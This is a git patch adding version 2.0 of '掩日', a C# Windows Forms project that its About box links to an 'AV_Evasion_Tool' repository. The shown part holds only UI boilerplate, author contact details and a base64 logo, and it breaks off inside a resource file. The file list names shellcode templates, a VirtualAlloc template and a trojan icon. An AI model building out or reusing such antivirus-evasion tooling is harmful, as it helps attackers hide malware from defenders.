From 9909312a70e37bb7b0db7b430b67f1d992885dd3 Mon Sep 17 00:00:00 2001 From: 1y0n Date: Fri, 5 Jun 2020 15:00:45 +0800 Subject: [PATCH] update to 2.0 --- .../AboutBox1.Designer.cs" | 193 ++ "\346\216\251\346\227\2452.0/AboutBox1.cs" | 110 + "\346\216\251\346\227\2452.0/AboutBox1.resx" | 662 +++++ "\346\216\251\346\227\2452.0/CS_Template.cs" | 2441 +++++++++++++++++ "\346\216\251\346\227\2452.0/C_Template.cs" | 170 ++ "\346\216\251\346\227\2452.0/Common.cs" | 55 + "\346\216\251\346\227\2452.0/Compiler.cs" | 47 + "\346\216\251\346\227\2452.0/Core.cs" | 264 ++ .../Form1.Designer.cs" | 355 +++ "\346\216\251\346\227\2452.0/Form1.cs" | 275 ++ "\346\216\251\346\227\2452.0/Form1.resx" | 1262 +++++++++ "\346\216\251\346\227\2452.0/Global.cs" | 38 + "\346\216\251\346\227\2452.0/Program.cs" | 21 + .../Properties/AssemblyInfo.cs" | 36 + .../Properties/Resources.Designer.cs" | 71 + .../Properties/Resources.resx" | 117 + .../Properties/Settings.Designer.cs" | 30 + .../Properties/Settings.settings" | 7 + .../T_C_VirtualAlloc.cs" | 18 + "\346\216\251\346\227\2452.0/T_EasyMode.cs" | 128 + "\346\216\251\346\227\2452.0/trojan.ico" | Bin 0 -> 67646 bytes .../\346\216\251\346\227\2452.0.csproj" | 126 + .../\346\216\251\346\227\2452.0.csproj.user" | 13 + .../\346\216\251\346\227\2452.0.sln" | 25 + 24 files changed, 6464 insertions(+) create mode 100644 "\346\216\251\346\227\2452.0/AboutBox1.Designer.cs" create mode 100644 "\346\216\251\346\227\2452.0/AboutBox1.cs" create mode 100644 "\346\216\251\346\227\2452.0/AboutBox1.resx" create mode 100644 "\346\216\251\346\227\2452.0/CS_Template.cs" create mode 100644 "\346\216\251\346\227\2452.0/C_Template.cs" create mode 100644 "\346\216\251\346\227\2452.0/Common.cs" create mode 100644 "\346\216\251\346\227\2452.0/Compiler.cs" create mode 100644 "\346\216\251\346\227\2452.0/Core.cs" create mode 100644 "\346\216\251\346\227\2452.0/Form1.Designer.cs" create mode 100644 "\346\216\251\346\227\2452.0/Form1.cs" create mode 100644 "\346\216\251\346\227\2452.0/Form1.resx" create mode 100644 "\346\216\251\346\227\2452.0/Global.cs" create mode 100644 "\346\216\251\346\227\2452.0/Program.cs" create mode 100644 "\346\216\251\346\227\2452.0/Properties/AssemblyInfo.cs" create mode 100644 "\346\216\251\346\227\2452.0/Properties/Resources.Designer.cs" create mode 100644 "\346\216\251\346\227\2452.0/Properties/Resources.resx" create mode 100644 "\346\216\251\346\227\2452.0/Properties/Settings.Designer.cs" create mode 100644 "\346\216\251\346\227\2452.0/Properties/Settings.settings" create mode 100644 "\346\216\251\346\227\2452.0/T_C_VirtualAlloc.cs" create mode 100644 "\346\216\251\346\227\2452.0/T_EasyMode.cs" create mode 100644 "\346\216\251\346\227\2452.0/trojan.ico" create mode 100644 "\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj" create mode 100644 "\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj.user" create mode 100644 "\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.sln" diff --git "a/\346\216\251\346\227\2452.0/AboutBox1.Designer.cs" "b/\346\216\251\346\227\2452.0/AboutBox1.Designer.cs" new file mode 100644 index 0000000..3d64988 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/AboutBox1.Designer.cs" @@ -0,0 +1,193 @@ +namespace 掩日2._0 +{ + partial class AboutBox1 + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows 窗体设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AboutBox1)); + this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); + this.logoPictureBox = new System.Windows.Forms.PictureBox(); + this.labelProductName = new System.Windows.Forms.Label(); + this.labelVersion = new System.Windows.Forms.Label(); + this.labelCopyright = new System.Windows.Forms.Label(); + this.labelCompanyName = new System.Windows.Forms.Label(); + this.textBoxDescription = new System.Windows.Forms.TextBox(); + this.okButton = new System.Windows.Forms.Button(); + this.backgroundWorker1 = new System.ComponentModel.BackgroundWorker(); + this.tableLayoutPanel.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).BeginInit(); + this.SuspendLayout(); + // + // tableLayoutPanel + // + this.tableLayoutPanel.ColumnCount = 2; + this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 33F)); + this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 67F)); + this.tableLayoutPanel.Controls.Add(this.logoPictureBox, 0, 0); + this.tableLayoutPanel.Controls.Add(this.labelProductName, 1, 0); + this.tableLayoutPanel.Controls.Add(this.labelVersion, 1, 1); + this.tableLayoutPanel.Controls.Add(this.labelCopyright, 1, 2); + this.tableLayoutPanel.Controls.Add(this.labelCompanyName, 1, 3); + this.tableLayoutPanel.Controls.Add(this.textBoxDescription, 1, 4); + this.tableLayoutPanel.Controls.Add(this.okButton, 1, 5); + this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel.Location = new System.Drawing.Point(9, 8); + this.tableLayoutPanel.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2); + this.tableLayoutPanel.Name = "tableLayoutPanel"; + this.tableLayoutPanel.RowCount = 6; + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 10F)); + this.tableLayoutPanel.Size = new System.Drawing.Size(417, 246); + this.tableLayoutPanel.TabIndex = 0; + // + // logoPictureBox + // + this.logoPictureBox.Dock = System.Windows.Forms.DockStyle.Fill; + this.logoPictureBox.Image = ((System.Drawing.Image)(resources.GetObject("logoPictureBox.Image"))); + this.logoPictureBox.Location = new System.Drawing.Point(3, 2); + this.logoPictureBox.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2); + this.logoPictureBox.Name = "logoPictureBox"; + this.tableLayoutPanel.SetRowSpan(this.logoPictureBox, 6); + this.logoPictureBox.Size = new System.Drawing.Size(131, 242); + this.logoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.logoPictureBox.TabIndex = 12; + this.logoPictureBox.TabStop = false; + // + // labelProductName + // + this.labelProductName.Dock = System.Windows.Forms.DockStyle.Fill; + this.labelProductName.Location = new System.Drawing.Point(143, 0); + this.labelProductName.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0); + this.labelProductName.MaximumSize = new System.Drawing.Size(0, 16); + this.labelProductName.Name = "labelProductName"; + this.labelProductName.Size = new System.Drawing.Size(271, 16); + this.labelProductName.TabIndex = 19; + this.labelProductName.Text = "产品名称"; + this.labelProductName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // labelVersion + // + this.labelVersion.Dock = System.Windows.Forms.DockStyle.Fill; + this.labelVersion.Location = new System.Drawing.Point(143, 24); + this.labelVersion.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0); + this.labelVersion.MaximumSize = new System.Drawing.Size(0, 16); + this.labelVersion.Name = "labelVersion"; + this.labelVersion.Size = new System.Drawing.Size(271, 16); + this.labelVersion.TabIndex = 0; + this.labelVersion.Text = "版本"; + this.labelVersion.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // labelCopyright + // + this.labelCopyright.Dock = System.Windows.Forms.DockStyle.Fill; + this.labelCopyright.Location = new System.Drawing.Point(143, 48); + this.labelCopyright.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0); + this.labelCopyright.MaximumSize = new System.Drawing.Size(0, 16); + this.labelCopyright.Name = "labelCopyright"; + this.labelCopyright.Size = new System.Drawing.Size(271, 16); + this.labelCopyright.TabIndex = 21; + this.labelCopyright.Text = "版权"; + this.labelCopyright.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // labelCompanyName + // + this.labelCompanyName.Dock = System.Windows.Forms.DockStyle.Fill; + this.labelCompanyName.Location = new System.Drawing.Point(143, 72); + this.labelCompanyName.Margin = new System.Windows.Forms.Padding(6, 0, 3, 0); + this.labelCompanyName.MaximumSize = new System.Drawing.Size(0, 16); + this.labelCompanyName.Name = "labelCompanyName"; + this.labelCompanyName.Size = new System.Drawing.Size(271, 16); + this.labelCompanyName.TabIndex = 22; + this.labelCompanyName.Text = "公司名称"; + this.labelCompanyName.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // textBoxDescription + // + this.textBoxDescription.Dock = System.Windows.Forms.DockStyle.Fill; + this.textBoxDescription.Location = new System.Drawing.Point(143, 98); + this.textBoxDescription.Margin = new System.Windows.Forms.Padding(6, 2, 3, 2); + this.textBoxDescription.Multiline = true; + this.textBoxDescription.Name = "textBoxDescription"; + this.textBoxDescription.ReadOnly = true; + this.textBoxDescription.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.textBoxDescription.Size = new System.Drawing.Size(271, 119); + this.textBoxDescription.TabIndex = 23; + this.textBoxDescription.TabStop = false; + this.textBoxDescription.Text = "说明"; + // + // okButton + // + this.okButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.okButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.okButton.Location = new System.Drawing.Point(339, 222); + this.okButton.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 22); + this.okButton.TabIndex = 24; + this.okButton.Text = "确定(&O)"; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // AboutBox1 + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(435, 262); + this.Controls.Add(this.tableLayoutPanel); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "AboutBox1"; + this.Padding = new System.Windows.Forms.Padding(9, 8, 9, 8); + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "AboutBox1"; + this.tableLayoutPanel.ResumeLayout(false); + this.tableLayoutPanel.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; + private System.Windows.Forms.PictureBox logoPictureBox; + private System.Windows.Forms.Label labelProductName; + private System.Windows.Forms.Label labelVersion; + private System.Windows.Forms.Label labelCopyright; + private System.Windows.Forms.Label labelCompanyName; + private System.Windows.Forms.TextBox textBoxDescription; + private System.Windows.Forms.Button okButton; + private System.ComponentModel.BackgroundWorker backgroundWorker1; + } +} diff --git "a/\346\216\251\346\227\2452.0/AboutBox1.cs" "b/\346\216\251\346\227\2452.0/AboutBox1.cs" new file mode 100644 index 0000000..57f73a5 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/AboutBox1.cs" @@ -0,0 +1,110 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Linq; +using System.Reflection; +using System.Windows.Forms; + +namespace 掩日2._0 +{ + partial class AboutBox1 : Form + { + public AboutBox1() + { + InitializeComponent(); + this.Text = String.Format("关于"); + this.labelProductName.Text = AssemblyTitle; + this.labelVersion.Text = String.Format("版本 {0}", AssemblyVersion); + this.labelCopyright.Text = @"遵循 MIT协议 © 1y0n.com"; + this.labelCompanyName.Text = AssemblyCompany; + this.textBoxDescription.Text = "Github主页:\r\nhttps://github.com/1y0n/AV_Evasion_Tool\r\n\r\n博客:\r\nhttps://1y0n.com" + + "\r\n\r\n邮箱:\r\nBoot.Root.Loot@gmail.com"; + } + + #region 程序集特性访问器 + + public string AssemblyTitle + { + get + { + object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyTitleAttribute), false); + if (attributes.Length > 0) + { + AssemblyTitleAttribute titleAttribute = (AssemblyTitleAttribute)attributes[0]; + if (titleAttribute.Title != "") + { + return titleAttribute.Title; + } + } + return System.IO.Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().CodeBase); + } + } + + public string AssemblyVersion + { + get + { + return Assembly.GetExecutingAssembly().GetName().Version.ToString(); + } + } + + public string AssemblyDescription + { + get + { + object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyDescriptionAttribute), false); + if (attributes.Length == 0) + { + return ""; + } + return ((AssemblyDescriptionAttribute)attributes[0]).Description; + } + } + + public string AssemblyProduct + { + get + { + object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyProductAttribute), false); + if (attributes.Length == 0) + { + return ""; + } + return ((AssemblyProductAttribute)attributes[0]).Product; + } + } + + public string AssemblyCopyright + { + get + { + object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCopyrightAttribute), false); + if (attributes.Length == 0) + { + return ""; + } + return ((AssemblyCopyrightAttribute)attributes[0]).Copyright; + } + } + + public string AssemblyCompany + { + get + { + object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCompanyAttribute), false); + if (attributes.Length == 0) + { + return ""; + } + return ((AssemblyCompanyAttribute)attributes[0]).Company; + } + } + #endregion + + private void okButton_Click(object sender, EventArgs e) + { + this.Close(); + } + } +} diff --git "a/\346\216\251\346\227\2452.0/AboutBox1.resx" "b/\346\216\251\346\227\2452.0/AboutBox1.resx" new file mode 100644 index 0000000..6951d1e --- /dev/null +++ "b/\346\216\251\346\227\2452.0/AboutBox1.resx" @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwg + JC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIy + MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAK5AYgDASIAAhEBAxEB/8QA + HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh + MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVW + V1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG + x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQF + BgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAV + YnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE + hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq + 8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDxOWaXzpP3j/eP8RpnnSf89H/76NEv+uk/3j/OmYrqMLj/ADpf + +ej/APfRpfOl/wCej/8AfRpmKMUxC+dL/wA9H/76NL50v/PR/wDvo00ClpAO86X/AJ6P/wB9Gl86X/no + /wD30aYKKoQ7zZf+ej/99Gjz5f8Ano//AH0abSUgJhPKR/rH/wC+jS+dL/z0f/vo1ADin9qaEx/nS/8A + PR/++jSefL/z0f8A76NMpDTAeZ5f+ej/APfRpPPlP/LR/wDvo1HS4qdxj/Ol/wCer/8AfRo86X/no/8A + 30abSUWAd50v/PR/++jSiaXP+tf/AL6NR0tAyTzpf+ej/wDfRpfOl/56P/30aip1NMRIJpf+er/99Gk8 + 6X/no/8A30aZSUxEnnS/89H/AO+jSebL/wA9H/76NMopDHGaX/nq/wD30aTzpf8Ano//AH0abRikMd50 + v/PR/wDvo0edL/z0f/vo0yjFADvOlz/rX/76NOE0v/PV/wDvo1HilAoAk86X/no//fRpPOlH/LR/++jT + RS0xC+ZN/wA9H/76NG+b/no//fRoFOVscdqdhXFEkv8Az0f/AL6NKDORkSOf+BGnFdw3KKcrFBVJLqTz + PoReZKDzI+f940vnS/8APR/++jTiweoiaTSQJtimaXP+sf8A76NKtxIDnzH/AO+jUQ5NGfapKLP2mUDI + kbH1pftEmM7m/wC+qqE0oOaaYuUsm5kI+++f94037TKP+Wjj/gRqKg0wsS/aZs/61/8Avo0/7ZKMDzZP + ++jValpahZF+Gd3lTEr/AHhn5jRVa2yJ0/3hRRcViKUfv5P9403FSTD98/8AvH+dNApJFXG4oxT8U0in + YBMUlOoNKwDaKDSUMYp6U2ndqbSABTx0ptLmmgYppKWkpgJSikp/ahAJTadSUMBtLRRipsAUtFFMApcU + UUxBikpaKAEopaSlYYlFGKWgAxQKXrRinYQUmaWjFAxaKMYopiHKzKeO9P5LYqPn0qZBuX3poh23Gov3 + vWomGTU+Oc4pCnzZBFJoEyHa2OnFMOanY9gTUZpNFpkeKeBigLnp1qZEHU0kgbsRdKcRkAipvK3c+lKF + Cmr5SOYjRBjmnY9BT8HHFAGOvFPlJb6jrZP9IQt/eFFLAQ0yD/aFFPbYW+5Wl/1z/wC8aQUS/wCuk/3j + Sis0aMa1NzzTmplMaCjtS5ptIYUGiikMSiigUgFopwpcU0Ibil20Ypw6UwGhaXFOHWnEcUybkWKQ08im + 0iriYop2KKAG0tFLikAlFGKWmAlJTsUuKAG4opcYpKAuKMUmOaMc08DPWgVxmMUvWnlabjFAriYopc4N + K3tQO4h6fSnLyOlM5JqROKYmLjJpy/K2aRSAeaXuaaIHOewqI+lOduaZn1ok7jitBvKnNKoDcnil4YYp + nIpFEiYBp5aoAxApS2eaBcpMrZzg1Jg4ORmqoY9qsrJhMHvVxfciSa2FXA61GzE/SgZJpwQA4NO9w2Gx + nbMn+8KKljjzPHjuw/nRWbUuhSaK0n+uf/eP86KWQfvpP940KKEUxppuKeaYwxQCGmkp1AFSUFN70/FN + 70wEoFLilxSSABTqQcUvUVQhKdSEYpyjvQJscqml28U9RS8YqrGd9SBhTcVKwphFItMbSUtFIYlL2zRS + 0A2JR2paBQFwxRinCkPSmK4002pAAetKyilYdxg5FLj0pcY6UGgQZwKUgEcGm4pR0/GgBNtKOeKXvSjr + TsFxCuBQv3uaf1puDRYm4N976U3dzTl680EYagY00oXPJp1L/DRYLiY54pCozkCnAgin7G600hXsQlRj + imEVOU5pCuOgpNMakRxDrmpSOOlNAp6+h/ChIlsF+9xQx5pVO1s96QjLcVXQXUlhyZI8dmFFPt0bcpI/ + iH86KbQJlZv9fJ/vGkpzjE8n+8aQ9KhFPcjbk01iKk21Gw5pMpDO9LR0paChpopTSUmMKKMc0uOaBXCn + LUiRA1OIVUZrRQbIlNIgCEinhQo5qRuOlRtT5bEXuGcmgk0lL2pARk0hpxpOtSURminlaTbQXcSigCn0 + CYmRikpSKAKBCDNK3TNL2pSBt6UwIh1qYc0wJ3p4pIGwNJjPNLzn2pRT3ENwPSkxT8d6ZgnmhgBxjimj + g07FGKQx3vR1oApxFUSJjimN1qQCmspNDQJke7B6U4HNJjnFPQAVKRTsCiplY4xUajk5pS+OlWnYh6ji + vfFJjjI5pNxZaFJFAhwCn2pdny7hTd1OMmUKflTVhakYHzc1KAo4HWolLClZhjikmNq5bgZcomerDNFV + YN3nx/7wopuVwUbDZD+/k/3jRSyj9+/+8abUIpgaYRUmKaelDGmRYzShKeKXtSsO4zZ70mzmpcZo20+U + OYZtFOCcU4CnU7EuQijFTgcVGvWpM1rHQzkDKCaaY+KkHSlFVypk3ZXKUm2pGqM1m0WmMIpKeRzSFaho + u4yjFOxRSsAzHFNyc0+lA5osO42lAp2KXFNILibaO2KKUDNOxImKcBTwAaQjvTURNjCMGgDmn4pQM0co + XGlc9qaUIFTheBzTtmPeq5Lk81ilTl6VK0XPFKIeDg9Knkdy3JWIzgUc9KTHJpaQD+3pSYJ60owfWl52 + 4qrEkZTnNGwDoc1YVTjkjHekZVwCvWjlDn1K+aUAE5NIwyeKMGsyx2VHC0080mealXbjNNK4thqrx1pp + JU9atZimTaBhx+tRmMbcHOfWrcdNCVLXUrksTxT0QEZY0hXbTlJwR2qUtdS35EkThZYwP7woqOJT9oQf + 7QoqXcEkTTJ++fH940zyz6VZkA85/wDeNNYcdK35DLmINtRODVnbxxUbJUSiVGRX7UVJ5dOEeKhRZbkh + oU08LT9p9KMVookXuNxRt5paSnYQdKAaMcUtKwEi9KcSOlRqeKXnNXcmwYpDH3FPxzTgfl96driu0QmM + 4phUirJUlagbP/1qiSKTIiabSnOaQDNZM1AU6lC+1P24FUkJsjxTsZFGMcVIigjmqS6Et2I+1KBxT2j/ + ALtN7UWAaDil3c0UqrnrQALyKlCeopAvpUiEDOTWkV3IbEUc9KeMAmgMNuMdaj3EEmq0ROrGycMADxSS + uEUIvfvSkgtTZUwfpUPbQteZCDQB1oHPFO2VkaDWbHSnx7m6dKaFBPrVmPC8DvTirsmTshrIR+NNKkVb + 4K8+lRjDZUrz61q4IyUis6gdqZUzxkk+1RmMr14rJxZqmIE7mgAjrUmDRjJHrT5QuMKkcg075iu4VaWA + bRu4+tMfYAVBq/ZtEc6ZXUA9Rk08xlRxQcIelOWbilZdRtvoRx/69D/tCipYkDzIw4+YUVDgylJdSaQZ + mf8A3jTe+KmkX96+f7x/nRtFdCWhzuWpDspDHntVlVpGXbRy6C5ysYxTSMVYK+9N2A1PKXzEB9qaanYD + PSmFfapaZSZEcmkCmpdvanbeKVh8xDilVKkC8dKeq01ETkRhakCcdKdtp+OKtRIciLbzSopJxipMUA4O + KfKK4wZjPTim7VY+lWNhbml8oDtRysXOiq0K+n5VD5PPAq9t5xUkFpNPJtjTdgc+gpezTH7WyuyiI8AV + NHayTHbHGWPsK1xa2lquZT50g/hX7o/xqnda0UUxwFYh6R8frVuEYr3mZqrOo/cQo0Yxrm6mjiHoTz+V + MK6bb53M8pHcHArKkuZZGyeSfU5qBy7feOfxrF1Yr4UbRoTfxyNdrzT+1pn/ALaGo/tGnOeYJU+j5rG3 + AHrR5gNZOszZYdd2bIt7WY/uLkBv7snH61BNbywHEiEDse1ZvmL7j3FXbS/mhO3cJY+6NTVSL3VgdOcd + nceucZxTgMjPFXfIiu4jNZthlGXgY8j6etUmDL8ta7IyTu7AWxwKhJZjinE9zQKhstITbg81OEyvXNRo + ATip9oOAKqKJkysyY5FRgeuasMjL9KiIINS0VFjT8vSlV/mFJhmPNSLEc8CpV7lO1iwvK81KEBI5xjvT + YEODx0oJwcAV0q1tTme+grxFs44qDymwckYqeR+m0niq/mMCT6UpNXKjewhAAp0JCgsefSopGZWPdT0p + ygtGMVmnroaNaajzMzOM9BSYLdqiVTvqwhxn6VUW3uJ2WxHIRgA0xUDHFSlMsTTMbX9ql7jT0HRjbMn+ + 8KKVGPnJn+8KKTKiXpB+/cf7RphXFWJI/wB6/wDvGk2grXSo6HFzFcZ9aCCetTbR2pNlFh8xCVo28VKR + jnFN/ClYdyAjmkYVNs9KbtNTYtSIwuadswM08A5pcUWFzEWKftOOlO21IFppCchix5pxQZp4HzUEc00i + ObUiEfNSLDn3p6oc8CrCqOuauMEyZTaGRwHvTpIcL709fvVIYjJhQMknAFaqCsYubuU0tWlkVF6nv6VN + LdxWkJiRj5a9cfxn1P8AhVm722kZtYuZWH71h29hWJPAsUavcScAcLWc1ybGlO1TWWxWubu4u2IjBVOl + VGVIFyzbm64FLNf7jtiXavtVVg7nkGvPnO+u56lOFlbZDnuGI+UYqI7z1PWphCB1IFNyFPXpWbu9zZNd + CFgVOM0Z96JGJOMcVHz6Vk3Y0SuSflSjI6VGD6inhgKLiaLVrePbyq4YhlPBFdEI4dYtzcWyhbhBmWId + /cf4VynBOR1q5Y3klndJNDJ5ci9D2relU5dHsc9alzK8dy1IhUkHgiownNbdy0GpwG4RBFdKMyRjo3+0 + KyGRietbyit0c8J30e4zoeamV+cUxYzkbulThPQURTHJoAhZfenJEG4PWnJxUrJzkVqomLlYrm3Kn2qW + OLjPWpFUt61Yih+UkHpVxproRKpZEJTC8ce4qDYWPrV9UDk5OKlFkAvmEH6Vfs77GftVHczmtiORg5FV + 3RUGCDzWxHGoJLcCq8kKPnb1qZUtNCoVtdTGZWPbip4onWLOCcVOYtj8jirabWAVRWcaWuptOrpoZqIW + YlhgUhG1sZ4qzPGVbk8VUk61ElYqL5hry56etKTntUe35eRUqrkVCuzR2QRnM0ef7wop8Sr5yA/3hRSa + YJmtKP3r/wC8ajIq7JGPOf8A3jUZQdK9HkPN5ytigg1YEYxTdmOtLkHzFdlNM21O+BUfBNS4lpkeKQjm + pgtLszS5R8xBilA7VMIxmlIQd6OUOYgC4NPI4p+U9Ka5PaiyQXbF7UEdyaYFdqXy3oVxaFiPaKG9qdFC + e5qfyR3rZRbRjKSTKsbN0rUtc2lq12wy5+WIH19aba2YmuFQcDqxPYCi/uFlcMvywRDav+NWlyK7MpyU + 3yoz5ZVt42kclpW9awZybrEkz98Bc1cuZZLp2KZI6KBULW6xRBpiOea4ajcvQ9OjFQV3uU/LT/lmCfoK + btdASwP4mpHuzkrEuB696qSgnksSa5JNLY7IpvcVwh6tj6VESoHTNIq8HmnbKyepqrIiJB7YppIz3qXy + +5FNK81m0zRNEfHrRj0pxWm4NS0VcXkdKcDuOOhpMkcA0gwW5496YtzU0+/a1lVXyVB49R9K2bm2G0Tw + geXIMjHauZX5hhj83Y10vh25E6Pp07Y3D90T2NdlCevKzgxMLe/Eq7c9etSpINuQKJYWindDkMDioBnc + cVvrFmCtJFlHDscrj0qdSAOarIpyCalzgVpFmUkWI2AIPap0kVW4I+lZruc9TTkY7c55q1MzdO5dYqG3 + L69Kct1J91icdhVIuTjmpg4KgelUnroS4K2pLK7eRheuapncrDrz1q+uApOOnNQTKH+anOPUKbtoCRl0 + 5BwaaAsbcZBp6hwvB4qFgSeal6Ia1EcZJJ5qtJFjnHWrHJ9hUU0gBxntWcrWuzWF9kV9vP8AWlIXsaaX + BNNB5rG6N9SeJP3yZwMkdaKRMtKh9wKKTYI6J8GV/qaY0eRTJZJIZXDxsuWPUU37SccV6alGx5nLK+h0 + eieGrfUtQitZp2RipY4PBwM4qHxBplnZ2BnhUROjhCAeGzXPyeI762i2ROquv3ZQPnH41k3Oq3t6F+03 + DyBem41x1azVTTY7aNBOl7+si286Y5IqH7THvHIGTgms5mY85NM59azlXZrGgup3ElvYGzdViClUyJM8 + 9OtZllpt/f25mghLRjvnGfpWRZi6uwIEd2T+6W4rt7K5k03S0t7qF0MYwCgyGFFJze5Nd0lpscqY5AxD + Agg4INPWAmr8rfaJ3lAxuOcU0R12qmjidXQqiDFO8selWNuDSbKrkRPOyJY+9Ls9qmC9qTBFOwudioMg + DvVhYywANQxjB5rQsYzPeRxqenJPtWkUYVJNJsJ1Nhp53HEs/H0WuduZWuWW3iHAIBPatHxDfNNeSLEf + unYorKd0063yxPmMK5687yt0R04Wm1FSfxMjnkjsk2DqOnv9ayLq4M4Xc3Qniorm5aVixJ9uaqbicCvK + q17uy2Pao0OVXe5ZD4xgE1MFwuZeB6VAkggAHBc/pSPKXOW5JrNSSRo4titLCr5VM/Wl+0t/Cqj8KhOD + 2o6UuZlcqJjdSZyQp/Cmm53dYlz6ioic0zkGpcmNQiTfacdYkP1FH2iM9YQPpUFLgUuZlcsSbYr8ow+h + qLaR1HWlUleRVgOpi3MBnNUkmJtorKxRvar1vIwZZYjhlPUdjVXdEx5UimhmtpcqcjuD3FK/KDXMdrcB + dRs4b+MDc3yyj0cf41Q8jbnPBzT9BukVvLzmC5wDn+F+1X72Jkdlxgg16lO1SHN1PGqXpVOToZnKnBzR + 